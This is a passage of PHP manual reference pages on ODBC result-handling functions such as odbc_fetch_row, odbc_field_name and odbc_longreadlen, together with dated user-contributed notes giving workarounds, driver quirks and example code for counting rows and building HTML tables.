I see many here try to iterate to emulate tis missing functionality. I benchmarked the performance on my PentiumM 1.6G on Excel table with 1100 rows and 2 field records and got 82ms time to retrieve number of rows using iteration through all of them, but only 7ms to execute the SQL statement. In this case of thousadn(s) of rows, it is probably faster to have the database calculate rows.

Here is different algorithm for calculating the number of rows, which does not iterate through all of them, just uses interval splitting algorithm, and number of iterations is log2(n), where n is total number of rows in the result. The below algorithm in the case above (Excel table, 1100 rows 2 fields) took 10ms to calculate:

<?php
    for($lo=0,$hi=1000000; $lo<$hi; )
    {
        $num = (int)(($hi+$lo) / 2);
        if(odbc_fetch_row($this->Result, $num))
            $lo = $num + 1;
        else
            $hi = $num - 1;
    }
?>
ricmailinglists at yahoo dot com dot br 09-Jan-2006 12:17
To count all the row on a table

<?php

$connection= odbc_connect("SolidBase", "user", "");

$query = "SELECT Codigo FROM Produto";

$queryexe = odbc_do($connection, $query);

$i = 0;

while(odbc_fetch_row($queryexe)) $i++;

echo $i;

?>
eolscr at gmail dot com 07-Apr-2005 08:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

<?php
while (odbc_fetch_row($stringsql)) {

// ...

}
?>

In php5:

<?php

odbc_fetch_row($stringsql, 0);

while (odbc_fetch_row($stringsql)) {

// ...

}

?>

Good luck
RRRRyan 23-Nov-2004 05:00
It appears in PHP 5 that odbc_fetch_row($rs,0) no longer acts the same way. Now that I moved to PHP 5 moving to row 0 no longer resets the record set rather it fetches the first row. :-( This broke a lot of things for me. So watch out for a missing first row on record sets reset in this fashion.
alex at bartl dot net 29-Nov-2002 09:22
I found the combination of the following lines very useful, as the
fieldnames will be simply available as variables by their names.

<?php
$query="select fieldname from table";
// ...
$line=mysql_fetch_assoc($query_result);
extract($line);
echo $fieldname;
?>

However, I was missing the function odbc_fetch_assoc() so I created it myself to use in in the same way like  mysql_fetch_assoc(). I am sure it could be coded in a better way, but at least it works. As a side effect $odbc_affected_rows should contain the amount of rows found, but have a look at odbc_num_rows() as well, as in my case it does not contain the expected information.

<?php array obdc_fetch_assoc(resource result); ?>

Code example:

<?php
function odbc_fetch_assoc($rs){
 if (odbc_fetch_row($rs)){
  $line=array("odbc_affected_rows"=>odbc_num_rows($rs));
  for($f=1;$f<=odbc_num_fields($rs);$f++){
   $fn=odbc_field_name($rs,$f);
   $fct=odbc_result($rs,$fn);
   $newline=array($fn => $fct);
   $line=array_merge($line,$newline);
   //echo $f.": ".$fn."=".$fct."<br>";
  }
  return $line;
 }
 else{
  return false;
 }
}
?>
scott at abcoa dot com 20-Sep-2002 12:42
The odbc_fetch_row() function worked fine when I used PHP version 4.0.6 but when I upgraded PHP to 4.2.2, the odbc_fetch_row() doesn't work when there is 1 row.

When I use the echo command to see the response to the odbc_fetch_row() before the while loop, it showed that it doesn't return True or anything when there is 1 row.

I made the workaround to the problem by including the "$bug_workaround" into the script, this is to be use as 'row number' as shown in the PHP manual at "http://www.php.net/manual/en/function.odbc-fetch-row.php".

I enclosed two clipping to point this out.  The 1st clipping is the one that don't work and the 2nd clipping showed the work-around to it.  In this script, you'll find the word, 'INQUIRIES', it is a table that contain number of companies and users.  What the script does is to display each user whenever the company is selected.  The cool thing about it is it won't display the data if there is no row for any user.

<?php
// --clip--
$cid = odbc_connect('blah blah blah');
$ask7 = "SELECT * FROM INQUIRIES WHERE USER_ID = '38SCK3'";
$R7 = odbc_exec($cid,$ask7);
$result = odbc_result($R7,1);

echo "Result or No Result??? --> ".odbc_fetch_row($R7);

while (odbc_fetch_row($R7))
{
 odbc_fetch_into($R7,$inquiry,$inq_c);
 echo $inquiry[0], $inquiry[1];
}
// --clip--

// --clip--
$cid = odbc_connect('blah blah blah');
$ask7 = "SELECT * FROM INQUIRIES WHERE USER_ID = '38SCK3'";
$R7 = odbc_exec($cid,$ask7);
$result = odbc_result($R7,1);

echo "Result or No Result??? --> ".odbc_fetch_row($R7);

$bug_workaround=0;

while (odbc_fetch_row($R7,++$bug_workaround))
{
 odbc_fetch_into($R7,$inquiry,$inq_c);
 echo $inquiry[0], $inquiry[1];
}
// --clip--
?>

I post this into bugs.php.net as well.  See bug #19528
david dot zepp at alltel dot com 01-Mar-2000 09:49
Here is code snippet to do dynamically build a table so you do not have to hardcode the fields that you wish to display. You could use the the odbc_result_all but this allows special handling of rows/columns. This is similar to some ASP code I use.

<?php
$Fields = odbc_num_fields($cur);
print "<table border='1' width='100%'><tr>";
// Build Column Headers
    for ($i=1; $i <= $Fields; $i++){
    printf("<th bgcolor='silver'>%s</th>", odbc_field_name( $cur,$i));
    }
// Table Body
    $Outer=0;
    while( odbc_fetch_row( $cur )){
    $Outer++;
    print "<tr>";
    for($i=1; $i <= $Fields; $i++){
        printf("<td>%s</td>", odbc_result( $cur, $i ));
        }
    print "</tr>";
    }
print "</table>";
print "<b> Your request returned $Outer rows!</b>";
odbc_close( $cnx);
?>
odbc_fetch_object
odbc_field_len
ODBC Functions


Get the length (precision) of a field

odbc_fetch_row
odbc_field_name
ODBC Functions
PHP Manual

odbc_field_len

(PHP 4, PHP 5)

odbc_field_len — Get the length (precision) of a field

Description

int odbc_field_len ( resource $result_id , int $field_number )

Gets the length of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field name as a string, or FALSE on error.

See Also

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number

User Contributed Notes

There are no user contributed notes for this page.
odbc_fetch_row
odbc_field_name
ODBC Functions


Get the columnname

odbc_field_len
odbc_field_num
ODBC Functions
PHP Manual

odbc_field_name

(PHP 4, PHP 5)

odbc_field_name — Get the columnname

Description

string odbc_field_name ( resource $result_id , int $field_number )

Gets the name of the field occupying the given column number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field name as a string, or FALSE on error.

User Contributed Notes

anuga at anuga dot se 27-Apr-2009 12:46
I've been toying around with this for awhile to make it as simple and fast as possible.

<?php

/* Start The Connection */
if(!$odbc['connection'] = odbc_connect('DNS','USER','PASS'))
{
    exit("Connection Failed<br />\n");
}
else
{
    echo("Connected<br />\n");
}

/* Select Which Table */
$odbc['table'] = "table";

/* Fetch The Fieldnames into an Array */
if($result = odbc_exec($odbc['connection'],"select * from $odbc['table'];"))
{
    for($i = 1;$i <= odbc_num_fields($result);$i++)
    {
        $odbc['rows']['fields'][$i] = odbc_field_name($result,$i);
    }
    unset($i);
    odbc_free_result($result);
}
else
{
    exit("Error in SQL Query");
}

/* Close The Connection */
if(odbc_close($odbc['connection']))
{
    odbc_close($odbc['connection']);
}

/* Print The Array */
if(!empty($odbc['rows']))
{
    print_r($odbc['rows']);
}

?>
sica at wnet dot com dot br 05-Nov-2008 10:39
Hi hayes029, your idea was very helpful.
Here go a adaptation for select form field.
<?php
  $consulta = "select * from schema.table";
  $resposta = odbc_exec($con, $consulta);
  for($i=1; $i <= odbc_num_fields($resposta); $i++)
    echo "<option value=".odbc_field_name($resposta, $i).">".odbc_field_name($resposta, $i)."</option>";
?>
marco 14-Feb-2008 06:08
we faced the 31 char limit using cakephp dbo_odbc.php class (version 1.1.18.5850)

at the end, it calls odbc_fetch_row giving the problem (i tracked it may be due to the php implementation of a ODBCv2 model, which has hard coded 4bytes, 32 bits file names length, while ODBCv3 seems to have a separate specification of that value, fwiw)

we learned from another user (having similar problems with dbo_mssql.php class) how to workaround this problem,

we solved using inheritance, redefining the method (locally to our application) in order to
- create a "map" of the query fields (as an array) before executing it
- execute the query in a non-associative way
- after the results are returned, restore the real field names applying the previous created "map"

another way could be use the COM like:
new COM("ADODB.Connection")
which does not show the 31 chars problem but it could be slower and bound to the windows platform.
NoEgzit 22-Nov-2007 06:23
If you really need more than 31 characters here's what you can do:

open php5.x.x/ext/odbc/php_odbc_includes.h in an editor like notepad++

change 32 by a greater value in
typedef struct odbc_result_value {
    char name[32];
    char *value;
    SDWORD vallen;
    SDWORD coltype;
} odbc_result_value;

and recompile php.

I did it with char name[64] cause I have column names like "0214_1_VD_Type d'exploitation Type d'opération (Niveau 1)"  [I didn't choose this stupid name it comes from Eccairs project]
and rebuild php with the method given here http://www.php.net/manual/en/install.windows.building.php  and http://elizabethmariesmith.com/2006/11/09/
compiling-php52-on-windows-with-net-toolchain-is-it-even-possible/

with visual C++ express edition.
jezzghost 21-Feb-2006 10:32
Note that there is a known limitation with this which truncates the length of the returned field name to 31 characters without warning.
hayes029 at bama dot ua dot edu 13-Apr-2004 10:01
In search of a function that would simply return an array with the names of the fields in a result identifier, the only thing I could find was the odbc_field_name function.  So, for anyone else looking for such a function, here's the (very simple) function I wrote:

function odbc_field_names ($result) {
  for ($i=1; $i <= odbc_num_fields($result); $i++) $return_array[$i-1] = odbc_field_name($result, $i);
  return $return_array;
}

Very simple, I know, but I thought it might be helpful.
andrea dot galli at acotel dot com 29-Apr-2003 08:12
Example: function field name.

$Link_ID = odbc_connect("DSN", "user", "pass");

$query = "SELECT * FROM products";

$Query_ID = odbc_exec($Link_ID, $query);

while($field = $field_name($Query_ID ))
{
     echo("Field: $field<br />\n");
}

---------------------

function field_name($PrQuery_ID)
{
     if($Column < odbc_num_fields($PrQuery_ID))
     {
          $Column += 1;
          $FieldName = odbc_field_name($PrQuery_ID, $Column);

          return $FieldName;
     }
     else
     {
          return 0;
     }
}
aleckzandr at yahoo dot com 17-Apr-2003 12:04
Well, I've been into PHP for four hours and thanks to "my predecessors before me" (gold163, curt, et al.) I've managed the following. The first thing I try to learn with any web scripting language is to build a dynamic table from a data source. (One thing you didn't have to do gold -previous post- is build an array for the field value.) Cheers! Alex

<html>
 <head>
  <title>PHP Database Example</title>
 </head>
 <style type="text/css">
 <!--
  body {font: 10pt/12pt Tahoma, Verdana, Helvetica, sans-serif; color: indigo; margin: .25in .5in }
  table {color:Navy; background-color:AntiqueWhite; border-color:Maroon; border-style:Solid; border-width: 2px; }
  th {color: blue; font-weight: bold; }
  td {font-size: smaller; }
  .mytable {color:Maroon; background-color:White; border-color:Navy; border-style:Solid; border-width: 1px; }
  th.mytable {background-color:#C0C0C0; }
 //-->
 </style>
 <body>

 <p><?php echo date("j F, Y"); ?></p>
<?php

$db = odbc_connect("eSell22MDB","","");
$result = odbc_exec($db, "select ProductID, ProductName, Description1 from Products");

// cool function - returns table
odbc_result_all($result, "border=\"1\" class=\"def\"");

$result = odbc_exec($db, "select * from Products") or die("Select failed");

$myUtil = new Utilities();

$myUtil->standard_table($result,"mytable");

class Utilities {

     function standard_table($result,$class="")
     {
         // To format your table if you want to use cascading style sheets
         if ($class == "")
         {
             $css_table = " border=\"1\"";
             $css_tr = "";
             $css_th = "";
             $css_td = "";
         }
         else
         {
             $css_table = " class=\"$class\"";
             $css_tr = " class=\"$class\"";
             $css_th = " class=\"$class\"";
             $css_td = " class=\"$class\"";
         }

         // Create field names for table header row
         $i = 0;
         $fieldCount = odbc_num_fields($result);
         echo "  <table$css_table>\n";
         echo "   <tr$css_tr>\n";

         while ($i < $fieldCount)
         {
             $i++;
             $fieldName = odbc_field_name($result, $i);
             echo "    <th$css_th>$fieldName</th>\n";
         }
         echo "   </tr>\n";

         # Create table data rows for query result
         while (odbc_fetch_row($result))
         {
             $i = 0;
             echo "   <tr$css_tr>\n";
             while ($i < $fieldCount)
             {
                 $i++;
                 $fieldData = trim(odbc_result($result, $i));
                 if ($fieldData  == "")
                     echo "    <td$css_td>&nbsp;</td>\n";
                 else
                     echo "    <td$css_td>$fieldData</td>\n";
             }
             echo "   </tr>\n";
         }
         echo "  </table>";
     }
} // class Utilities

?>

 </body>
</html>
gold163 at lisco dot com 25-Mar-2003 09:10
Using your code, and taking it a step further, I can create a standard table from a single line of code by calling a function from my include file - the bonus is, that I can optionally provide a parameter for the name of my style sheet class - further simplifying my formatting of the table.

What synergy you find in these forums - eh?

$Conn = odbc_connect('dsn','user','pass');
$query = "SELECT * FROM yourtable";
$result = odbc_exec($Conn, $query) or die('Select failed!');

standard_table($result);

Function standard_table($result,$class='')
{
# To format your table if you want to use cascading style sheets
 if ($class == '')
 {
  $css_table = ' border=1';
  $css_tr = '';
  $css_th = '';
  $css_td = '';
 }
 else
 {
  $css_table = ' class=\"$class\"';
  $css_tr = ' class=\"$class\"';
  $css_th = ' class=\"$class\"';
  $css_td = ' class=\"$class\"';
 }

# Create field names for table header row
$i = 0;
$fCount = odbc_num_fields($result);
echo "<table$css_table><tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    echo "<th>$fName</th>";
  }
echo "</tr>";

# Create table data rows for query result
$i = 0;
$fCount = odbc_num_fields($result);
while (odbc_fetch_row($result))
{
echo "<tr>";
  while ($i < $fCount)
  {
    $i++;
    $fName = odbc_field_name($result, $i);
    $job[$fName] = odbc_result($result, $i);
    echo "<td>$job[$fName]</td>";
  }
echo "</tr>";
$i = 0;
}
echo "</table>";
}
curt at digmo dot com 31-Jul-2001 06:58
I turned Jason's code into a function to roughly mimic the mysql_fetch_array function. I'm not a programmer and I've been messing with PHP less than a week, so I imagine there's a more efficient method that what I've come up with.

function odbc_fetch_array($rownum, $res)
{

$i = 0;
$fCount = odbc_num_fields($res);
odbc_fetch_row($res, $rownum);
    while ($i < $fCount)
        {
    $i++;
    $fName = odbc_field_name($res, $i);
    $myrow[$fName] = odbc_result($res, $i);
          }
$i=0;
return $myrow;
}
10-Mar-2001 04:11
Wow, I finally have something to contribute.
If you, like me, have been seeking a way to name and fill your variables with the appropriate names an values, rather than naming every variable and using odbc_result($result, 1), odbc_result($result, 2), etc...Then this little loop is for you!  It would probably be nice to use as function, but I'm sure you can do that on your own, eh?

<?php
$query = "SELECT * FROM TableName";
$result = odbc_exec($conn, $query) or die('Select failed!');
$i = 0;
$fCount = odbc_num_fields($result);

while (odbc_fetch_row($result)) {
    while ($i < $fCount) {
        $i++;
        $fName = odbc_field_name($result, $i);
        $job[$fName] = odbc_result($result, $i);
    }
    $i=0;
}
?>

This should be pretty simple code to follow, you can address your variables at any time later using the column names from your table.  For now I am addressing them with their real values and using this simply to avoid having to type out all the variable names in the top of my code.  Have fun.

Jason/ArtHacker.com
odbc_field_len
odbc_field_num
ODBC Functions


Return column number

odbc_field_name
odbc_field_precision
ODBC Functions
PHP Manual

odbc_field_num

(PHP 4, PHP 5)

odbc_field_num — Return column number

Description

int odbc_field_num ( resource $result_id , string $field_name )

Gets the number of the column slot that corresponds to the named field in the given result identifier.

Parameters

result_id

The result identifier.

field_name

The field name.

Return Values

Returns the field number as a integer, or FALSE on error. Field numbering starts at 1.

User Contributed Notes

There are no user contributed notes for this page.
odbc_field_name
odbc_field_precision
ODBC Functions


Alias of odbc_field_len

odbc_field_num
odbc_field_scale
ODBC Functions
PHP Manual

odbc_field_precision

(PHP 4, PHP 5)

odbc_field_precision — Alias of odbc_field_len()

Description

This function is an alias of: odbc_field_len().

See Also

  • odbc_field_scale() - Get the scale of a field to get the scale of a floating point number.

User Contributed Notes

There are no user contributed notes for this page.
odbc_field_num
odbc_field_scale
ODBC Functions


Get the scale of a field

odbc_field_precision
odbc_field_type
ODBC Functions
PHP Manual

odbc_field_scale

(PHP 4, PHP 5)

odbc_field_scale — Get the scale of a field

Description

int odbc_field_scale ( resource $result_id , int $field_number )

Gets the scale of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field scale as a integer, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
odbc_field_precision
odbc_field_type
ODBC Functions


Datatype of a field

odbc_field_scale
odbc_foreignkeys
ODBC Functions
PHP Manual

odbc_field_type

(PHP 4, PHP 5)

odbc_field_type — Datatype of a field

Description

string odbc_field_type ( resource $result_id , int $field_number )

Gets the SQL type of the field referenced by number in the given result identifier.

Parameters

result_id

The result identifier.

field_number

The field number. Field numbering starts at 1.

Return Values

Returns the field type as a string, or FALSE on error.

User Contributed Notes

jschwartz at the-infoshop dot com 04-Aug-2009 01:40
Quick note: as noted below, MS Access type AutoNumber comes across as type COUNTER. What I didn't see mentioned is that PHP interprets type COUNTER as a string, not an integer.

More annoying than anything else, in my particular case; but I'd guess it could bite somebody, somewhere.
jorge dot emailNOSPAM at gmail dot com 17-Jan-2007 04:21
Here is the complete list!

Access 2003 as the following teturntypes:

COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink
DOUBLE - Double Number
BYTE - Byte Number
not[at]wgpower[dot]net 19-May-2006 05:02
Some fields can be of the following type too : REAL
jazper at lycos dot de 10-Jul-2002 03:30
Returntypes on Access2000
COUNTER  -  Autoincrement
VARCHAR  -  Text
LONGCHAR  -  Memo
INTEGER  -  Number
DATETIME  -  Date/Time
CURRENCY  -  Currency
BIT  -  TRUE/FALSE
LONGBINARY  -  OLE-Object
LONGCHAR  -  Hyperlink

cheers, j.a.z.
odbc_field_scale
odbc_foreignkeys
ODBC Functions


Retrieves a list of foreign keys

odbc_field_type
odbc_free_result
ODBC Functions
PHP Manual

odbc_foreignkeys

(PHP 4, PHP 5)

odbc_foreignkeys — Retrieves a list of foreign keys

Description

resource odbc_foreignkeys ( resource $connection_id , string $pk_qualifier , string $pk_owner , string $pk_table , string $fk_qualifier , string $fk_owner , string $fk_table )

Retrieves a list of foreign keys in the specified table or a list of foreign keys in other tables that refer to the primary key in the specified table

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

pk_qualifier

The primary key qualifier.

pk_owner

The primary key owner.

pk_table

The primary key table.

fk_qualifier

The foreign key qualifier.

fk_owner

The foreign key owner.

fk_table

The foreign key table.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • PKTABLE_QUALIFIER
  • PKTABLE_OWNER
  • PKTABLE_NAME
  • PKCOLUMN_NAME
  • FKTABLE_QUALIFIER
  • FKTABLE_OWNER
  • FKTABLE_NAME
  • FKCOLUMN_NAME
  • KEY_SEQ
  • UPDATE_RULE
  • DELETE_RULE
  • FK_NAME
  • PK_NAME

If pk_table contains a table name, odbc_foreignkeys() returns a result set containing the primary key of the specified table and all of the foreign keys that refer to it.

If fk_table contains a table name, odbc_foreignkeys() returns a result set containing all of the foreign keys in the specified table and the primary keys (in other tables) to which they refer.

If both pk_table and fk_table contain table names, odbc_foreignkeys() returns the foreign keys in the table specified in fk_table that refer to the primary key of the table specified in pk_table. This should be one key at most.

User Contributed Notes

There are no user contributed notes for this page.
odbc_field_type
odbc_free_result
ODBC Functions


Free resources associated with a result

odbc_foreignkeys
odbc_gettypeinfo
ODBC Functions
PHP Manual

odbc_free_result

(PHP 4, PHP 5)

odbc_free_result — Free resources associated with a result

Description

bool odbc_free_result ( resource $result_id )

Free resources associated with a result.

odbc_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script is finished.

Parameters

result_id

The result identifier.

Return Values

Always returns TRUE.

Notes

Note:

If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.

User Contributed Notes

lm At bible in switzerland 25-Nov-2010 12:13
I use WinDev 15.0 HyperFileSQL ODBC Connector on Windows, PHP 5.2.3.
With this configuration, any result ressource obtained with odbc_exec must be freed by odbc_free_result before the next query by odbc_exec.
If the result ressource is not freed odbc_exec will return a corrupt result ressource.
example:
odbc_exec($query1);
odbc_exec($query2);
odbc_result_all();

Output: A table with empty cells
EMY 03-Feb-2009 08:45
It seems it is common sense to say it is a god practice to free any resource when it isn´t necessary anymore.
Also, when talking about releasing the resources associated with a given result set it is a common sense to say never release a result set before it is assured to have been either commited or rolled back.
Then, the following code sequence should be the most adequate (assuming auto-commit is disabled):

odbc_commit(...);
odbc_free_result(...);
...
odbc_close(...);
rich at kastle dot com 20-Dec-2004 03:48
("Note:  If auto-commit is disabled (see odbc_autocommit()) and you call odbc_free_result() before committing, all pending transactions are rolled back.")

I've looked thru the code, and that note is definitely wrong, at least in my environment (Windows/SQL Server).  odbc_free_result ultimately just calls SQLFreeStmt which has NO EFFECT on outstanding transactions.

In fact, it seems it must be wrong for all environments, because the SQLFreeStmt is bound to the destruction of the result resource.  So unset($result) would be just as dangerous - and you're randomly and unpredictably screwed if garbage collection reaps the result set before your transaction's done.
rogersd at island dot net 05-Sep-2001 08:03
odbc_free_result() is also the way to avoid the dreaded "Too many open cursor" error.
odbc_foreignkeys
odbc_gettypeinfo
ODBC Functions


Retrieves information about data types supported by the data source

odbc_free_result
odbc_longreadlen
ODBC Functions
PHP Manual

odbc_gettypeinfo

(PHP 4, PHP 5)

odbc_gettypeinfo — Retrieves information about data types supported by the data source

Description

resource odbc_gettypeinfo ( resource $connection_id [, int $data_type ] )

Retrieves information about data types supported by the data source.

Parameters

connection_id

The ODBC connection identifier, see odbc_connect() for details.

data_type

The data type, which can be used to restrict the information to a single data type.

Return Values

Returns an ODBC result identifier or FALSE on failure.

The result set has the following columns:

  • TYPE_NAME
  • DATA_TYPE
  • PRECISION
  • LITERAL_PREFIX
  • LITERAL_SUFFIX
  • CREATE_PARAMS
  • NULLABLE
  • CASE_SENSITIVE
  • SEARCHABLE
  • UNSIGNED_ATTRIBUTE
  • MONEY
  • AUTO_INCREMENT
  • LOCAL_TYPE_NAME
  • MINIMUM_SCALE
  • MAXIMUM_SCALE

The result set is ordered by DATA_TYPE and TYPE_NAME.

User Contributed Notes

andrea dot galli at acotel dot com 29-Apr-2003 09:45
Example: display all data types

<?php

     $Link_ID = odbc_connect("DSN", "user", "pass");
     $result = odbc_gettypeinfo($Link_ID);

     odbc_result_all($result);

?>
odbc_free_result
odbc_longreadlen
ODBC Functions


Handling of LONG columns

odbc_gettypeinfo
odbc_next_result
ODBC Functions
PHP Manual

odbc_longreadlen

(PHP 4, PHP 5)

odbc_longreadlen — Handling of LONG columns

Description

bool odbc_longreadlen ( resource $result_id , int $length )

Enables handling of LONG and LONGVARBINARY columns.

Parameters

result_id

The result identifier.

length

The number of bytes returned to PHP is controlled by the parameter length. If it is set to 0, Long column data is passed through to the client.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

Handling of LONGVARBINARY columns is also affected by odbc_binmode().

User Contributed Notes

egil at wp dot pl 22-Jul-2009 02:06
I've tried to use a suggestion in the first comment but that didn't actually worked as I would expect... I wanted to get all data no matter how big it is, but strange things happened and I finally found this solution (works fine at least for MS SQL 2000 for at least few MB of binary data):

<?php
// connection
$link = odbc_connect($odbc_source_name, $user, $pass);

// query (note - one row in this example)
$sql = 'SELECT image_data_column FROM some_table WHERE record_id=1';

// run
$result = odbc_exec ($link, $sql)
if (!$result)
{
    trigger_error ('[sql] exec: '.$sql, E_USER_ERROR);
}

// fetch settings
odbc_binmode ($result, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen ($result, 0);

// get contents
ob_start(); // you would probably need to move this inside if you expect more rows
while (odbc_fetch_row($result))
{
    odbc_result($result, 1); // this actually echos all of the contents of the image_data_column
}
odbc_free_result($result);
$contents = ob_get_clean();
?>
Paul Schmidinger 30-Aug-2005 05:44
In my current situation, odbc_binmode(), odbc_longreadlen() and the lrl-setting in the php.ini do not help. But when I remove the DISTINCT from my SELECT-query, it works. I guess in my case DISTINCT truncates the data somehow. Hope that helps someone.

Paul
php dot net dot notes at webqs dot com 06-Aug-2005 06:12
Hi

If you are experiencing troubles with truncated and/or strangely encoded data when using PHP with MS SQL via ODBC try setting odbc.defaultlrl ( in php.ini or via ini_set() ) to a largish number, say 65536, as stated in the other notes here.
The trick is to know how long your data is going to be, so you may want to provide some overhead. Unfortunately you have to know how long your piece of string is before you cut it.

Doing this will allow your app to read up to this amount in one go. I'm sure there is a reason for this behaviour but I hadn't experienced anything like it in 5 years of MySQL and Postgres development.

If you still experience problems AND are using unicode data in the long column of your table, make sure it is set to type "ntext", if it is "text". MSDN has some info on data types for Unicode data.
This caused about 3 days of headaches for me, "binary" data crashing browsers and cyclical result sets (i.e repeating data after odbc.defaultlrl bytes).

This fix was only found by poking things with sticks.

HTH
jdcard at inreach dot com 08-Dec-2004 09:37
I was reading from a MEMO field (long varchar) in MSAccess, but the data was consistently truncated at 255 characters. I tried all the combinations of odbc_longreadlen() and odbc_binmode()  (and odbc.defaultlrl) that I could think of but none of them resolved the problem.

The only fix that worked was to modify my query from "SELECT Field1, Field2 FROM TableName" to "SELECT * FROM TableName".

I suspect that you could cast the field to force the appropriate data type, but when it finally worked after three days of struggle I didn't even try.
25-Sep-2002 05:00
An alternative is to adjust your php.ini file and set:
odbc.defaultlrl=65536
Or something else sufficiently large.
lrl = long read length
buzz77 at gmx dot net 23-Nov-2001 02:31
Aaargh!
I was wondering about truncated data when reading from a TEXT (LONG VARCHAR) column.
With this I was able to increase the buffer size...
jasendorf at lcounty dot com 13-Dec-2000 04:26
I had a heck of a time figuring out what to do with this function.  Here's a little piece of code from Jason Lee which I found that might help someone else...

$cur = odbc_exec($cnx, $query);
if(!$cur) {
/* error handler */
}

odbc_binmode($cur, ODBC_BINMODE_PASSTHRU);
odbc_longreadlen($cur, 16384); /* Allow 16kb thru */

while(odbc_fetch_row($cur)) {
$bigger_than_4096_var = odbc_result($cur, 1);
/* etc... */

Hope this helps someone, John
odbc_gettypeinfo
odbc_next_result
ODBC Functions


Checks if multiple results are available

odbc_longreadlen
odbc_num_fields
ODBC Functions
PHP Manual

odbc_next_result

(PHP 4 >= 4.0.5, PHP 5)

odbc_next_result — Checks if multiple results are available

Description

bool odbc_next_result ( resource $result_id )

Checks if there are more result sets available as well as allowing access to the next result set via odbc_fetch_array(), odbc_fetch_row(), odbc_result(), etc.

Parameters

result_id

The result identifier.

Return Values

Returns TRUE if there are more result sets, FALSE otherwise.

Examples

Example #1 odbc_next_result()

<?php
$r_Connection = odbc_connect($dsn, $username, $password);

$s_SQL = <<<END_SQL
SELECT 'A'
SELECT 'B'
SELECT 'C'
END_SQL;

$r_Results = odbc_exec($r_Connection, $s_SQL);

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump first result set";
var_dump($a_Row1, $a_Row2);

echo "Get second results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump second result set ";
var_dump($a_Row1, $a_Row2);

echo "Get third results set ";
var_dump(odbc_next_result($r_Results));

$a_Row1 = odbc_fetch_array($r_Results);
$a_Row2 = odbc_fetch_array($r_Results);
echo "Dump third result set ";
var_dump($a_Row1, $a_Row2);

echo "Try for a fourth result set ";
var_dump(odbc_next_result($r_Results));
?>

The above example will output:

Dump first result set array(1) {
  ["A"]=>
  string(1) "A"
}
bool(false)
Get second results set bool(true)
Dump second result set array(1) {
  ["B"]=>
  string(1) "B"
}
bool(false)
Get third results set bool(true)
Dump third result set array(1) {
  ["C"]=>
  string(1) "C"
}
bool(false)
Try for a fourth result set bool(false)

User Contributed Notes

mypsuedoemail at yahoo dot com 28-May-2006 05:06
This function works exactly like its equivalent Microsoft SQL Server function: mssql_next_result(). The information above is rather vague and a bit misleading, so refer to the mssql version of this function for details on to use it properly.

P.S. It works with stored procedures.
ryanphp at ryanjameson dot com 24-Jan-2002 06:08
Running this on a MS Access result set always seems to return false. It may have the same driver limitations as odbc_num_rows.
odbc_longreadlen
odbc_num_fields
ODBC Functions


Number of columns in a result

odbc_next_result
odbc_num_rows
ODBC Functions
PHP Manual

odbc_num_fields

(PHP 4, PHP 5)

odbc_num_fields — Number of columns in a result

Description

int odbc_num_fields ( resource $result_id )

Gets the number of fields (columns) in an ODBC result.

Parameters

result_id

The result identifier returned by odbc_exec().

Return Values

Returns the number of fields, or -1 on error.

User Contributed Notes

udin 02-Oct-2006 02:31
<?php
$conn = odbc_connect('MySQL','','');
echo "Database = " . "MySQL";

$res = odbc_tables($conn);

------------------------------------
Using odbc_num_fields() for showing description of an object table in one database
------------------------------------
while (odbc_fetch_row($res))
{
    $jml = odbc_num_fields($res);
    for($i=1;$i<=$jml;$i++)
        {
           echo odbc_field_name($res,$i) . " = " . odbc_result($res,$i);
        }

}

------------------------------------
The 2nd example of using odbc_num_fields(). It retrieves FIELD NAME and FIELD VALUE for each record in CUSTOMER Table
------------------------------------

$sql = 'SELECT * FROM PEGAWAI';
$rs = odbc_exec($conn,$sql);

while (odbc_fetch_row($rs))
{
     for($j=1;$j<=odbc_num_fields($rs);$j++)
         echo odbc_field_name($rs,$j) . " = " .  odbc_result($rs,$j) ;

}

?>
xdean78@yahoo.com
odbc_next_result
odbc_num_rows
ODBC Functions


Number of rows in a result

odbc_num_fields
odbc_pconnect
ODBC Functions
PHP Manual

odbc_num_rows

(PHP 4, PHP 5)

odbc_num_rows — Number of rows in a result

Description

int odbc_num_rows ( resource $result_id )

Gets the number of rows in a result. For INSERT, UPDATE and DELETE statements odbc_num_rows() returns the number of rows affected. For a SELECT clause this can be the number of rows available.

Parameters

result_id

The result identifier returned by odbc_exec().

Return Values

Returns the number of rows in an ODBC result. This function will return -1 on error.

Notes

Note:

Using odbc_num_rows() to determine the number of rows available after a SELECT will return -1 with many drivers.

User Contributed Notes

neil at woolandcompany dot com 21-Aug-2011 11:50
Working Example of odbc_num_rows with MSSQL 2000.

This works ...

<?php
$connstr = "Driver={SQL Server};Server=SERVERNAME;Database=DBNAME;";
$conn = odbc_connect($connstr, "usr", "pwd");
$queryresult = odbc_exec($conn, "select * from table");
    if ( odbc_num_rows($queryresult) > 0 ) {
        // rows to process
    } else {
        // no rows to process
    }
?>
Vadim Istratov 12-Nov-2010 08:35
There is a much better way to count rows in SELECT queries for MSSQL. Just use T-SQL.

Thus the function would be:
